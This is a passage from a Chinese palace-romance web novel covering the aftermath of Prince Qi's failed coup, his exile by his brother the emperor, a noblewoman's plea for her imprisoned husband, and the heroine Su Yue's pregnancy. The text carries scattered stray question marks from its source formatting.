损失了也没有办法,好在醍醐走前?推举了他的朋友,那位熟知他的指法习惯,紧要?关头?顶上,倒也能顺利应付过去。 初五转眼即至,大宴近在眼前?。 经过了年前?的动荡,那些文臣武将显见地收敛了不少。御史不再没事?找事?了,曾经与齐王有过往来的人也心惊胆战,只要?皇帝陛下?的视线轻扫过去,就足以令他们闻风丧胆。 毕竟经过了几天沉淀,这件事?引发的轩然?大波,已经开始蔓延整个朝堂。皇帝纵容齐王作乱,并不只为铲除这个隐患,还有更深的安排。开国之?初人心浮动,朝廷格局却已定,逐个击破太费周章,但只要?让这盘棋活起来,就能摆布成皇帝希望的模样。 今天在场的众臣,都是经过了检验,福大命大的。那些对皇帝来说再无必要容忍的,此时都在牢狱里,等着经受大理寺卿和司隶校尉彻查。所以今日的气氛应当?说是和谐至极,大家尽心尽力地演出了过年的热闹,和尘埃落定后?的坦然?。 苏月呢,则带领梨园子弟分作两班,一班在大业殿侍奉君臣,一班在庄敬殿里讨太后和贵妇们的喜欢。 她得两头?跑,确定大业殿里的法曲演奏顺利后?,又急忙赶往庄敬殿查看雅乐的推进。 太后?在外人面?前?一向是坚强向上的,绝不显露出半点残余的忧伤,照例是该吃吃该喝喝。听过了雅乐还要?点上一支康居舞,领头?往台上抛钱,一时把红毡抛得像庙里的许愿池一样。 苏月过殿里照应,她见了她,招呼她坐到身边歇息,“两头?跑多?累得慌,那头?交给底下?人吧,你在这儿吃过了饭再过去。” 苏月笑?着说是,“我?就是等着开席,来陪您用饭的。”边说边看了一圈,但凡有品级的命妇都在,连汉阳长公主?也在,唯独不见长公主?的对家,便好奇地问太后?,“怎么没见鲁国夫人,她今日没来赴宴么?” 太后?脑门子直突突,扶额道:“别提了,宴前?接了她一封书信,说上青州去了,让我?不必挂念她。” 太后?这番话引得汉阳长公主?抬眼,想必这个问题也困扰了她良久,总算有人问出来,给她答疑解惑了。 苏月不知道鲁国夫人和青州有什么渊源,“还未出正月,走亲戚去了?” 太后?脸上木噔噔地,“说是投奔她的志向去了,要?跟着那个醍醐种地做买卖,开酒馆,开客栈。” 其实?太后?的这番话,也是有意说给汉阳长公主?听的,毕竟都混到了吃穿不愁的地步,何必为个毛脸男人争得头?破血流。上都繁华之?地,什么才俊没有,旧的不去新?的不来。那个傻子一根筋千里追随,没跟去的就踏实?过好自己的日子吧,再不济找个样貌上佳的,养养小白脸也行啊。 汉阳长公主?那厢呢,听到她们说话的内容,惆怅过后?到底释然?了。虽然?很遗憾,但若问自己能不能像鲁国夫人一样不管不顾,答案是决计做不到。 其实?先前?的种种,回想起来很可笑?,当?初她嫁到葛家,郎子肩不能挑担,手不能提篮,以至于自己吃了许多?苦。现在自己重获自由了,有机会再选一次,下?意识就想区别于姓葛的,区别越大越好。 恰好那日父母府中宴请,她过去帮着张罗,刚到门前?,遇上了梨园乐师进场。 梨园随行的行头?不少,有的乐师整场下?来得换几样乐器,那些大大小小的匣子都得自己搬运。女乐师们力气小,搬得也少,但人群中混进了一个高大魁梧的汉子,肩上挂着两个琴匣,手里拎着两个大箱子。那时她以为他是梨园跟来的杂役,直到他抱着乐器登台,那么粗犷的人竟弹得一手好琵琶,她震惊半天回不过神来,从此就留意他了。 有力气,也有情调,这是汉阳长公主?对醍醐的评价。本以为这种喜好很罕见,却没想到鲁国夫人也对他青眼有加,发展到最后?,两下?里就暗暗较劲起来。 若说醍醐心里属意谁,她也说不上来,原本输赢悬而?未决,随着醍醐的离开,也许就此不了了之?了。可她没想到,鲁国夫人居然?放下?上都的一切,追赶他去了,可见还是鲁国夫人更胜一筹,自己也算输得心服口服,那就祝福他们往后?一切顺利吧。 彭王妃这头?呢,因为女儿这场畸恋,可说是心力交瘁。今天总算看见了转机,忙问她:“你阿舅上回替你说合的人,可要?见一见?人在将作处任大监,差事?轻省,脾气又和善。据你阿舅说,家里头?整间屋子都摆着亲手做的各种舟楫,那个小船桨,才半截手指头?那么长……” 本以为她又要?推辞,毕竟提了几次,最后?她几乎要?与父母翻脸了。 彭王妃小心翼翼查看女儿的脸色,不想这次并未从她脸上发现不耐烦。 汉阳长公主?转头?看向母亲,平心静气道:“阿娘,这些年您为我?操碎了心,我?对不起您。阿舅说的那个人可以见一见,我?想能耐下?性子做那些小玩意儿的,定不是个坏人。” 彭王妃暗呼阿弥陀佛,简直高兴坏了,连连点头?,“回头?我?就让人传话给你阿舅,好不好的,见过了再说。” 隐约听到她们谈话内容的苏月与太后?,悄悄交换了下?眼色。 这样挺好的,各自都按照自己的心迹,去做自己愿意做的事?吧,不用哭哭啼啼,也不用怨声载道。勇敢的人只管大步往前?迈,追求安稳的人转身也能找到自己的幸福,不是皆大欢喜吗。 只是苏月仍从太后?的一低眉间,发现了不易察觉的哀伤。 初五日,大家都在迎财神,而?她的小儿子,此刻正关在大理寺的牢狱里。犯下?弥天大罪该受罚,糟心的是他病了多?年,但凡受罚必定性命攸关。她忍了又忍,这些天自己没有探过监,也没有派人去看望他,实?在是这孽障令她心情复杂,就算见了面?,大概除了骂也还是骂。 但若说不记挂,怎么可能呢,终究是从自己肚子里生出来的,是自己的至亲骨肉啊。可因为他的荒唐,母亲惦念儿子也成了罪过,太后?如今已经不知道,自己究竟应当?怎么办了。 苏月见状,轻声道:“陛下?没有下?令,大理寺不会苛待他的。我?今日派人给他送了些御寒的衣物过去,里头?应当?也有暖炉,不会冻着的。” 太后?听了她的话,愁云惨雾间泄出了一点日光,在食案下?紧紧握住了她的手。 快意恩仇固然?是爽利的人生,但仁慈豁达,才是作为一国之?母必备的情操。 男人就像雨后?水洼里舀上来的一碗水,别指望他清澈见底,婚后?是第二次投胎,女人往水里加什么,决定他是污还是浊。你加明矾,他沉淀沉淀,慢慢就纯净了,你若滴落两滴墨,他马上能让你明白什么叫伸手不见五指。大郎有贤妻辅佐,这个国家错不了。自己已经上了年纪,不管是政务还是宫务都力不从心,既然?后?继有人,太后?便想好了,可以痛快地放开手了。 所?以今日的大宴,除却权弈落马的遗憾,其他一切如常。曲乐照演,推杯换盏,皇帝牢牢稳坐皇位,依旧是臣僚和百姓的心之?所?向。 直等到大宴结束,皇帝在空空的大殿上站了一会儿,方才乘着夜色去了北司狱一趟。 说是大狱,其实?与真正关押囚犯的牢房不一样,皇帝没有下?令褫夺齐王封号前?,权弈仍能活得有体面?。 然?而?内心的煎熬无时无刻不在折磨着他,短短几日而?已,皇帝再见到他时,他已经瘦了一大圈。 兄弟俩见面?,都不知道该说些什么,只有两两对站。 权弈虽然?常年体弱,脾气其实?很倔强,到了此时更要?在皇帝面?前?挺直脊梁,脸上满是无畏之?色,率先发了声:“阿兄是来赐死我?的吗?” 皇帝的目光像冰锥,“要?你死还不简单,犯不着让朕亲自跑一趟。朕是来看看你病了没有,倘或半死不活了,外面?有现成的御医,扎一针就能让你还阳。” 权弈的脸色变得很难看,“你送来的大夫,一次又一次把我?从鬼门关拽回来,其实?我?早就不耐烦了。干脆让我?早点死,反倒是成全了我?。” 皇帝一哂,“以前?没看出来,你是个烂心烂肺的东西,你想死不要?紧,但你没有想过阿娘。当?初小阿妹夭折,阿娘受了那么大的打击,半年才缓过来,你要?是再一死,我?怕她的身子扛不住,会被你拖累。” 权弈的失望终于落到了实?处,“所?以你替我?遍寻名医,都是看在阿娘的面?子上。” 皇帝道:“朕若说是出于兄弟之?情,更会被你气死,所?以就算在阿娘的头?上吧。” 他那异于常人的思?维,常会令权弈语塞,直到今天还是一样。 这几日权弈被关押在这里,脑子没有停转,不知道自己到底什么时候露了马脚,被他察觉了。他自问一直谨慎行事?,且武将出身的人不是都很马虎吗,怎么桩桩件件都被他防住了。 萦绕在心头?的问题一直得不到解释,索性去追问他:“你是何时怀疑我?的?” 皇帝瞥了他一眼,目光所?及是铺天盖地的碾压,“替你看病的大夫是朕搜罗来的,你的病情什么时候有起色,什么时候痊愈,朕都知道。” 权弈的身子不由晃了晃,“看来我?一直活在你的眼皮子底下?,你也没有信任过我?。” 皇帝说:“你的脑子是豆腐渣做的吗?朕那是关心你,难道你以为朕在监视你?你三年前?身子就已经调理好了,可你一直装病,朕以为你享受这种有人疼爱的感觉,便没有戳穿你。后?来大梁建立,你的病就好了,受封爵位入朝参政,朕以为你会是朕的好帮手,能替朕分忧,没想到你日日比朕还忙,忙着拉拢文臣武将,忙着到处与人攀交。朕问你,忙了那么久可有成效?最后?任你调遣的,不还是朕送到你手上的京畿驻军吗。” 这些话像巴掌拍在权弈的脸上,把他最后?的一点尊严都拍碎了。 是啊,忙了很久收效甚微,因为他没有战功,也不能服众,所?有与他交好的人,还是看在阿兄的份上。他明白这个道理,但他并不气馁,反正从未想过和这些人交心,等他接手了大梁江山,他们只要?向他俯首称臣就好。结果连这点自我?安慰到最后?也消亡了,他从来没有跳出阿兄的五指山,他的篡权,是他一个人的忙乱,细想起来真是讽刺。 他退后?两步,背靠在木栅上,无力地说:“你顺水推舟,拿我?试验满朝文武 的忠心,那些让你看不惯的人,也趁着这次一网打尽了吧?” 皇帝说是啊,“所?以你也算有功,朕不杀你,给你找了个好地方颐养天年。” 权弈恼火,“我?才二十三岁,你管这叫颐养天年?” 皇帝道:“你要?是不喜欢这个词,那就换换,叫圈禁怎么样?” 说得权弈再次张口结舌。 皇帝没兴致同他纠缠了,调开视线道:“闯下?了滔天大祸,就别再指望心里舒坦。朕在谯郡给你划了一块地,你上那里老实?呆着去吧,这辈子不得特赦,不许离开半步。” 权弈咬牙苦笑?,“你一直在计划迁都,只要?都城迁往关中,就能彻底让阿娘撇下?我?,是么?” 皇帝没有否认,“你欲图谋反前?要?是有这脑子,也不会走到今天这步了。” 权弈实?在受够了他的字字诛心,握拳道:“你能不能改改你说话的方式,每一句都像一把刀,把人扎得体无完肤。我?为何会走到今天,阿兄你功不可没!” 皇帝蹙眉道:“胡说,别为自己的贪婪找借口。朕以前?对你够好了,说话小心翼翼,唯恐刺伤你的自尊,军中的事?从来不在你面?前?提起。可你不知足,阿兄打下?江山,你安心受用就是了,结果你却想尝尝打江山的滋味。这一打,彻底把自己打进牢里了吧!” 权弈觉得心口生疼,实?在是支撑不住了,颓然?道:“你走吧,让我?一个人呆着。” 皇帝说好,转身便往外,但走了几步却听见他又唤了声阿兄,“能让我?见见朱娘子吗?” 皇帝回了回头?,“你利用了人家,还想见人家,难道想挨她的骂?” 权弈垂首道:“我?就是想见她,想为我?的所?作所?为,当?面?向她致歉。” 皇帝拧眉讥嘲,“你打算向她致歉,却从未想过向朕致歉,你可真是朕的好阿弟。你诡计多?端,朕看你是想哄骗她,让她陪你一起去谯郡吧。” 权弈的复杂心情,终于在他一桶接一桶的冷水浇淋下?,彻底荡然?无存了。 “阿兄,你上辈子肯定是只鸭子。” 皇帝语窒,担心再多?说几句会对骂起来,趁着彼此还有理智,体面?地一别两宽吧。于是负起手往甬道尽头?走去,边走边扔下?一句,“朕会替你把话传到的,人家是否愿意赴约,看人家的心情,你可别在背后?咒骂人家。” 第 81 章【VIP】 第81章 第 81 章 无论如何, 再不成器,那也?是自己的阿弟。虽然他一门心思想杀自己,知道他都是徒劳时, 皇帝还是有那份好心情, 来满足他离京前最后?一个要求的。 回到?紫微城, 他没有入掖庭,直接去了梨园官舍。那时苏月正要休息, 见窗纸上有个人?影划过,然后?在门前站定, 就知道是权大来了。 “大郎啊?”她喊了声。 门外的人?说:“在。” 她叹了口气, 起?身打开门,他裹着一身风霜进来,挨在她的床沿坐了下?来。 “你怎么这时候来了?”她穿得单薄, 麻溜钻进了被窝里, 忽闪着两眼问, “可是想我想得睡不着,漏夜来看我?” 他赧然笑了笑, “今日人?多事忙,没能好好同?你说上话,甚是想念。先前我去见了二郎, 他托我带句话, 我原想不着急, 明?日再说不迟,但又因想你,干脆直接赶到?官舍来了。”边说边把手探进她的被窝, “夜里好冷啊,快替我捂捂。” 这不过是他的借口, 那双手明?明?是温暖的。进了被窝也?没闲着,哪里暖和往哪里钻,弄得她心烦意乱。 她忙着驱赶他,一面问:“他让你带什么话?八成与颜在有关吧!” 他“嗯”了声,“说想见见她,要当面向她致歉。” 苏月听?得凉笑,“当面致歉?他刻意接近颜在,一步一步都是算计。这个时候要见人?家,可是觉得颜在心善好说话,能哄得她心疼他,回头?不离不弃陪着他?” 皇帝啧啧嗟叹,“你看我们?真是心意相通,想到?一起?去了。” 可想归想,毕竟他们?之间有过那么一段,究竟是见还是不见,得颜在自己做决定。 苏月道:“今天太晚了,人?都歇下?了,明?日我再转达。” 皇帝连连点头?,别人?的事忙得差不多了,接下?来可以操心一下?自己了。 回身走出门,朝外唤了声来人?,国用立刻带着内侍赶来,把他的洗漱用具都送进了隔壁。 还有热水,国用堆着笑脸道:“都已经预备好了,陛下?移驾吧。奴婢想着,两间屋子不相通,沐浴过后?还得从外面绕行,那多冷得慌。明?日等大娘子上值去了,奴婢就派人?把两间屋子打通,如此起?坐方便些,也?免得受寒。” 他们?在外面说话,苏月都听?见了。她这才发现?官舍的一排直房被清空了,之前还住了两三个女官,难怪今晚没见她们?的屋子亮灯,原来在她没有察觉的时候,全都搬走了。 皇帝陛下?是打算把行在搬到?这里来吗?这也?太不成体统,影响太坏了。 于是等他洗完进门,一眼就看见了正襟危坐的人?。苏月满脸严肃地对他说:“这是内敬坊,里外全是女郎。你一个男子,留宿这里不相宜。” 他说:“那怎么办,我们?总得住在一起?。你算算,初三入夜前回宫,初四又没能见面,我们?已经分开两晚了,你不觉得这样慢待我吗?” 两晚就让他满腹牢骚,早知道他碰不得,她就不去招惹他了。 “毕竟没有成亲,还是得有所?顾忌。”苏月好言好语对他道,“咱们?得背着人?,你这样,太明?目张胆了。” 可他有他的道理,“你不是打算梨园生育两不误吗,若是不让人?知道我们?有来往,怎么证明?孩子是我的?” 苏月被他一番有理有据的说辞弄得哑口无言,只得一面往内侧挪动,一面试图纠正他的想法,“你用不着刻意证明?,因为不会有人?敢怀疑。我是觉得处处都有规矩,你若是常来常往,会败坏园内的风气。” 他一听?不服气,“我怎么会坏了园内风气呢,我只是想与自己的女郎团聚,又没有什么坏心思。为了不给?其他人?造成不便,另外给?女官们?安排了官舍,且我每次来都走西?夹道,路上连一个人?都不会遇到?,所?谓的败坏风气,坏从何来?再说乐工们?不知道他们?的梨园使大人?是皇后?吗?皇后?怎么能不与皇帝来往,难道他们?想与朕抢人??如此简直大逆不道,欺君罔上!” 好吧,苏月觉得可以不用理论了,因为完全理论不过他。他要来看她,其实?自己心里是喜欢的,但出于女郎的矜持,她还是觉得最好能掩人?耳目一下?。 当然,其他人?都被遣走了,这一处官舍已经成了她个人?的院落了,院内藏娇好像也?没什么。 思及此,心胸一下?子开阔了,一把将他拽了进来,“我同?你说,看见你一本正经坐在御座上的样子,我就想亵渎你。白天人?多眼杂,我又不能把你怎么样,着实?是心痒难搔啊。原本你不来也?就罢了,可你送上门,那就别后?悔羊入虎口。” 他惊喜地“啊”了声,“女郎,你真想亵渎我吗?来来来……”边说边在被窝中忙碌,把自己脱了个精光。脱下来的寝衣随手抛出去,端端正正地躺着,闭上眼道,“上菜了,皇后?殿下?请享用吧。” 她果然不客气,身披被褥跨了上来,捧住他的脸,仔仔细细亲了一遍。 皇帝很受用,尽心尽力指引她:“要学会开疆拓土,往下?一点……嗳,再往下?一点……” 苏月起?先还听?他指派,后?来发现?有诈,就不想搭理他了。她只喜欢偎在他热乎乎的胸膛,枕着那健硕的胸肌,再摸一摸美男沟,但这点动作,对于皇帝来说显然不够。 “这个时候不适宜太过温情,使劲颠鸾倒凤啊女郎。”可惜他的催促好像没有太大作用,他等了等,忍无可忍,翻身道,“还是我来吧,看我的力气和手段。” 那个终止在他胸膛的吻,经由他接手向下?蔓延。苏月起?先还不好意思,后?来便坦然了,越羞耻越激荡。 只是她又有点不放心,在他辛苦耕耘的时候问他:“学了这么多手段,会用在别的女郎身上吗?” 他含含糊糊道:“小门上的钥匙,不是交给?你了吗……” 苏月被他颠得脑子不好用了,“什么钥匙?” “那把钥匙……只能开你这扇门……” 可能因为不满她胡思乱想,他给?了她重重一击,这下?她果然专心起?来,再也?不说那些煞风景的话了。 又是一夜忙碌,及到?第二天,他还得早早回南边去,免得园中开始有人?走动,撞上了不好看。苏月则觉得腰酸背痛,担心这么下?去会肾亏,开始盘算着,得想办法开点药好好养护一下?了。 累虽累,还是得起?身,梳洗打扮好赶往大乐堂,颜在已经在督促搊弹家们?练习新曲了。 待到?一曲奏完,苏月拽了下?她的衣袖,两个人?让到?背人?的地方,苏月才把权弈的话带到?,问她:“你会去见他吗?” 颜在摇了摇头?,“还有什么可见的,打从一开始就不真心,现?在见了说什么?说他心里其实?是喜欢我的,这么做是为了彼此的将来吗?苏月,他和陛下?不一样。陛下?是靠着手里的刀枪打下?的江山,有底气,能娶心里钦慕的女郎,满朝文武无人?敢置喙。他呢,他没有战功,没有底气,要稳固朝纲只能靠联姻,把重臣的姐妹女儿纳入后?宫,凭借姻亲织出大网。到?了那个时候,我一个商户女又该何去何从?反正我看得很明?白,落魄之时想着我,飞黄腾达后?未见得。我有空去见他,不如教小部的孩子们?弹月琴,这样还有意义?些呢。” 她这么说,苏月就放心了,舒了口气道:“我起?先还有些担心,怕你心肠软,果真去了。既然打定主意不见,那就不必放在心上了。陛下?说把他关在北司狱中,本也?是为拖延时间,出了正月,就把他送到?谯郡去。” 颜在点了点头?,“陛下?待他已经极尽宽宏了,我本以为他这次必死无疑,没想到?竟还能捡回一条命。” 再多关于他的话,已经不想说了,恰好那边有杂妇找内令,她忙应了声,急于处置别的事去了。 苏月看她走远,脚步匆匆,行动干练,再不是以前那个踮脚伺候春潮洗头?的女郎了。经历一些事,慢慢学着长大,这是每个人?必经的阶段。总算现?在风雨过去了,短暂迷失后?重新归队,仍旧可以大步流星继续向前进发。 接下?来的每一日,着实?是很忙,元宵节之前宴饮不断,派出去的乐工们?也?会遇见各种各样的事。就说苏云那里,每日定时巡查,设宴的主家都知道梨园的规矩,不可对乐师不恭,但架不住总会有些不三不四的亲友。那些亲友从老家来,从外埠来,认知仍旧停留在前朝,以为乐师舞伎都是下?九流,不免言行轻薄。 苏云巡视到?一家时,见云韶寺的一个宫人?正躲在门外哭。细问情由之后?求见了主家,请主家交人?,当即就把人?押走,送到?大都府定罪量刑去了。 一场又一场雷厉风行的整治,收效巨大。大家都开玩笑,说梨园是皇后?娘娘修行的道场,道行修成了,道场也?河清海晏了。 但人?与人?各不相同?,保得住外面的权贵不敢轻贱梨园子弟,保不住梨园内部有纷争。毕竟上千号人?呢,人?多了,各种问题势必也?多。譬如不合了、争风吃醋了、小偷小摸了……大大小小的事总也?忙不完。好在能够独当一面的人?也?多,颜在之外还有梅引和楚容她们?,苏月有时候也?能忙里偷闲,去慰问慰问她的大郎。 天将暖不暖的时候,两个人?坐在门前晒脚,一人?一把躺椅,一人?一本书。至于为什么晒脚,皇帝陛下?说树枯根先竭,人?老足先衰。人?的五脏六腑投射在脚下?,晒一晒舒筋活络,最重要的一点,毕竟晒脸是会黑的。 平时他研习医书,今天捧的却是一本《经天纬地治家之道》,看得极其投入,半天连一句话都没絮叨。 苏月觉得有点奇怪,拿脚钩了他一下?,“这书写得很好吗?” 他“唔”了声,眼睛都舍不得移开,“极好……情景交融,大开大合。” 治家能治出情景交融来,未免太过诡异了。 于是她好奇地探过去,“让我看看。” 他忙捂住了,“你自己的看完了吗,怎么来看我的?” 这下?苏月可以确定其中有诈了,不顾他反对抢过来翻阅,好啊,“鹰视须深,乃掀脚而细观……上下?扪摸,纵横把握”。 再合上看看书名?,她奇道:“原来治家之道竟是这样的吗?” 皇帝眼神闪烁,“这也?是治家的一部分,不能因为他偏门,就不拿他当回事。且这可是名?家之作,我这人?向来虚心受教,技多不压身,多多习学总没有坏处的。”边说边又抢了回去,笑道,“女郎不适合看这个,还是看你的《搜神记》吧。” 苏月嫌弃地打量了他一眼,“好好的,看这种书。兴发而动,那是身体有残缺的人?才干的事。”说着视线下?移,探究地停在一处观察了良久,“莫非你……” 他立刻牵过袖子遮掩,“现?在是大白天,我不能将你怎么样,等到?了夜里,你就知道我的游刃有余了。” 边上人?美目一婉转,没有与他辩驳。这段时间他付出了很多,若不因年老体衰生育有碍,应当有小小的种子生根发芽了吧! 快来一个孩子,长得像自己也?像他,多有意思! 苏月闲适地闭上眼,把书盖在了自己脸上。太阳晒得脚上热烘烘,空气里还有果子熏殿的香气。她从官舍过来的时候,看见宫墙顶上长出了青草嫩芽,春天来了,时间过得好快呀。 皇帝陛下?的想法,还是因看了不好的书,而变得有点复杂。他懊恼道:“白天不该看,应该留在晚上,可以边看边验证。苏月……”他偏头?温柔地召唤,“大娘子……皇后?……” “大娘子。”陛下?的话还没说完,淮州站在殿外回禀,“李再思的夫人?在宫门上叩谒,求见大娘子。” 苏月取下?书,和皇帝对望了一眼,“宝成公主?她来找我干什么?” 皇帝道:“权弈把李再思当作替罪羊,至今人?还关押在刑部大狱中呢。” 苏月迟疑了下?,“没想过放了他?” 皇帝说没想过,“我早就想收拾他了,人?关在里面正遂了心意。也?不用费心审问定罪,把他关到?死就是了。” 苏月知道他有他的考量,但也?忍不住唏嘘,皇帝轻飘飘的一句话,落到?个人?头?上,是怎样一座背负不起?的大山。 宝成公主向来和她不对付,上回在裴忌的迎亲宴上,还对她阴阳怪气呢。今天定是走投无路了才来找她,好在没有点名?求见权大,否则事办不成,还得哭着回家。 苏月应了淮州一声,“把她带到?命妇朝堂吧。” 大梁的紫微城中,设有专门接见命妇的地方,皇帝视朝五日一次,皇后?听?取内外命妇奏请是半月一次。不过苏月还未正式登皇后?位,这个差事是能免则免,只有那种亟待解决的大事,或是人?求见到?了门上,才会发话见一见。 她起?身要走,发现?他也?跟着站了起?来,她偏头?道:“人?家只想见我,你也?要一道去吗?” 皇帝说是啊,“我站在边上旁听?,免得你回来转述。” 苏月说这怎么成,“人?家没说要见你,你一出现?,哪里还说得出话来。既然答应见,就不要刁难人?家,你且等着我,等我回来再与你细说。” 可皇帝忧心忡忡,“离她远一点,不要靠得太近,以防她恼羞成怒刺杀你。” 正想下?令命人?护卫,国用道:“陛下?,让长御跟着就是了。窈娘的身手比缇骑还好呢,您怎么忘了。” 苏月是头?一回听?说窈娘居然会武艺,印象里那是个身条玲珑,会梳头?的女郎,和舞刀弄枪完全不沾边。自己平时不常招她们?侍奉,但她们?只要得知她进了掖庭,都会赶来听?示下?。 很快窈娘就到?了面前,跟随她一起?进了命妇朝堂。因为有皇帝的吩咐,窈娘两眼一直炯炯盯着宝成公主,错身的时候下?意识分隔彼此,连宝成公主落座,她都比手让她坐远一点。 宝成公主有些尴尬,毕竟自己一向对她有敌意,这回求到?了人?家门上,多少有些舍不下?面子。但转念再一想,就要家破人?亡了,哪里还顾得上那许多。便硬着头?皮向她行礼,“我冒昧前来,请大娘子恕罪。” 苏月说无妨,“夫人?有什么话,尽管说吧。” 宝成公主定了定神,方才小心翼翼说出口。 “我此来,是为我家将军。”她惨然道,“我家将军是腊月二十八被刑部带走的,说他有支使家仆,毒害陛下?的嫌疑,苍天可见,我家将军是冤枉的。后?来齐王败露,这件案子已经大白于天下?了,这可是陛下?亲断的啊!我本以为将军不日就能回家,可如今已经过去月余了,一点消息也?没有。我无处申辩,去刑部求问,刑部的官员避而不见,去央告将军的故交,所?有人?也?是避之唯恐不及……我家将军的事已是无人?问津了,我实?在不知该如何是好,只有来求大娘子,为我们?夫妇做主。” 她边说,边察言观色,见上首的人?始终没什么反应,心一下?子沉到?了谷底。 “我知道,我以前不知轻重,唐突过大娘子,大娘子若要责怪,打我骂我都可以。可我家将军,当初曾为陛下?出生入死,立下?过微薄的战功啊。只是武夫粗鄙不知进退,也?曾得意忘形居功自傲,但他从来不曾做过背弃陛下?,动摇社稷的事,请陛下?明?鉴。我是女流之辈,我没法向陛下?陈情,却知道大娘子是女中丈夫,有力挽狂澜的手段。大娘子,求您替我们?将军说说情吧,只要放将军出狱,我们?愿意解甲归田,从此不问兵事,只求让我们?夫妇团聚,能够携手到?老……”她说到?最后?捂住了脸,眼泪顺着指缝流淌,呜咽道,“我经历过国破家亡,早已举目无亲了。好容易有个疼我爱我的人?,我不能眼看他冤死狱中,我想救他出来。” 她说着便跪下?了,匍匐在地连连磕头?,“求大娘子施恩,您也?是有心爱之人?的,您定能明?白我的心意。” 说实?在话,她为李再思辩解的那几句,并没能打动苏月。开国将领得意忘形居功自傲,就够他喝上一壶的了。可她说起?自己的境况,到?底触发了苏月的同?情,女郎孤身一人?立世,实?在是很苦,若真能救她苦厄,也?算积德行善了。 于是她离了座,亲手把人?搀扶起?来,温声道:“夫人?别着急,你的话,我会据实?呈禀陛下?的。陛下?究竟如何定夺,还需依照刑部呈交的状纸再行考量,我能做的只是尽力周全,但愿不负夫人?所?托吧。” 宝成公主仰起?脸,满面的泪痕,颤声道:“大娘子,多谢您不计前嫌,您的恩典我永世不忘。” 苏月笑了笑,“不谈什么恩典,李将军若罪不至此,我料陛下?也?会法外开恩的。”说罢吩咐窈娘,“送李夫人?出宫去吧,不多时宫门就要落锁了。” 宝成公主千恩万谢去了,苏月从命妇朝堂出来,迈出门槛就看见靠在门边的皇帝,他偏头?问她:“那个李再思,你觉得该不该放?这件事我也?一直在考虑,若不放,我心里踏实?,若放了,我担心他会作乱。” 苏月道:“我没有别的可说,只有一句话,过载者沉其舟,欲胜者杀其身。请皇帝陛下?自行定夺。” 皇帝沉默良久,叹了口气,“上年朝堂过于动荡了,我也?知道。早前阿爹常有一句话挂在嘴上,他说金以刚折,水以柔全……大梁已经到?了需要怀柔的时候了,朕得挣个贤名?,不能让他们?诟病朕过河拆桥,诛杀功臣。”说罢转头?吩咐万里,“下?令刑部放人?,李再思官复原职。且看他日后?的表现?,若有异动,再除不迟。” 第 82 章【VIP】 第82章 第 82 章 李再思?走出了刑部大牢, 也就是说齐王谋反一案,到?了彻底了结的时候了。 朝堂之?上,皇帝把他的想法与众臣工说了, 没?有那么多的弯弯绕, 就是骨肉亲情割舍不断。不会要齐王的命, 但此生圈禁是不能逃脱的,问众臣可有意见。 能有什么意见呢, 宰相?说:“陛下是仁君,纵是天家, 也有寻常人?的怜恤与不舍。齐王是久病疯魔, 且手上并无实权,一切尽在陛下掌握之?中?。陛下怜他,将他圈禁在谯郡, 臣等认为?并无不妥。要紧一宗太后上了年纪, 留下齐王, 也是为?宽慰太后,不令太后过于悲伤罢了。” 所以这件事就算议准了, 权弈不能在上都逗留,政令一颁布,就得动身?前往谯郡。 他走的这天, 天高云淡, 没?有牢车也没?有押解的人?员, 只有两名平时贴身?侍奉的家仆,护送他走出了建春门?。 城外已是草木萌发的时节了,远山远水覆盖上了一层绿, 看上去一派欣欣向荣的气象。他站在宽坦的道路上四顾,身?上朴素的袍服被春风吹得轻漾。他的野心和前程都没?有了, 但远离了名利场,似乎也没?有想象的那么糟糕,至少这暖阳和青草,都是属于他的。 只是有些遗憾,他的所作所为?令至亲深感?失望,即便要远行,也没?有人?来?送别他。 算了,还指望什么呢。 他叹了口气,转身?接过仆从递来?的马缰,翻身?上马往郊野去。走了一程,看见道旁停着一辆车辇,车舆前垂挂的帘子打了起来?,走近看,车内坐着太后。 他勒住马缰,一瞬羞愧自责涌上心头,下马后在太后的车驾前跪了下来?。 “阿娘,儿不孝。”他以头抢地,悲声道,“儿鬼迷心窍,做出了大逆不道的事,伤了阿娘的心,都是儿的错。” 太后眼里蓄着泪,强忍着没?有落下来?,平住心绪道:“你?没?有对不起我,你?对不起你?自己的良心,对不起一直疼爱你?的阿兄。我想过大梁建立之?初,定会有很多纷争,会有人?谋夺他的皇位,但万万没?想到?,那个?人?会是你?。二郎,你?可能是真的病得太久,病得忘了很多事,但我记得清清楚楚,你?十三岁那年冬突发急症,你?阿兄那时驻扎在会稽,顶风冒雪跑了一整夜,把当时军中?最好的大夫带回来?给你?瞧病,才?救回了你?的小命。结果你?身?体逐年好转,却眼红他拿命拼来?的江山,你?何德何能,怎么会生出这样愚蠢的野心!早前你?经常进宫,在我耳边不时吹风,我就有所怀疑,可我不敢往那上头想,我以为?是我多心,只一遍一遍让你?好生报效你?阿兄,可惜你?根本没?往心里去。如今好了,试过了,灰头土脸,又何必呢。今日我来?送你?,是为?母子之?情,并不因为?心疼你?。你?去了谯郡之?后,望你?痛改前非,用?余生来?忏悔罪行吧。” 跪在车前的人?,此时也不知道是怎样的感?触,就那么弓着身?子,半晌没?有起身?。 隔了许久才?听他说:“请阿娘替儿带话给阿兄,二郎错了,今生对不起阿兄,来?世做牛做马,偿还阿兄。” 太后深深叹了口气,“起来?吧。我料你?阿兄早就释怀了,否则也不会等到?春暖花开的时候,才?宣读对你?的裁决。他还在担心你?身?子受不住,不能顶着严寒赶路,而你?……你?呀你?……” 太后奋力冲他指了指,恨铁不成钢。权弈也因她的话忽然泪流满面,哽声道:“我万死,对不起阿兄。” 可是迟来?的忏悔有什么用?呢,有些感?情受过伤,就很难复原了。 太后还是叮嘱了他两句,“相?距虽不远,你?也得走上三日。启程吧,路上遇见驿站,尽早投宿,别等天黑。” 权弈泣不成声,只是不愿勾得阿娘伤心,忙转过身?重新跨马,匆匆道一声:“娘,儿走了。”就策马奔向了远方。 太后看着他远去的身?影,心里说不出的难受。不知是不是吹了风的缘故,只觉脑子昏昏沉沉的,像是有些发热了。但这片愁云惨雾没?能持续太久,迈入安福宫大门?的那刻,彻底得到?了根治。 范骁老远就跑来?迎接,欢天喜地回禀了一个?好消息:“太医院今日给大娘子请平安脉,诊出大娘子有喜了。” 太后以为?自己听错了,“有什么了?” 范骁说有喜了,“怀上了身?孕,您就要当皇祖母了!” 太后说“啊”,慌忙抓住傅姆,“珍珠,他说什么?苏月有喜了?” 傅姆说可不,“您没?听错,是说大娘子有喜了。” 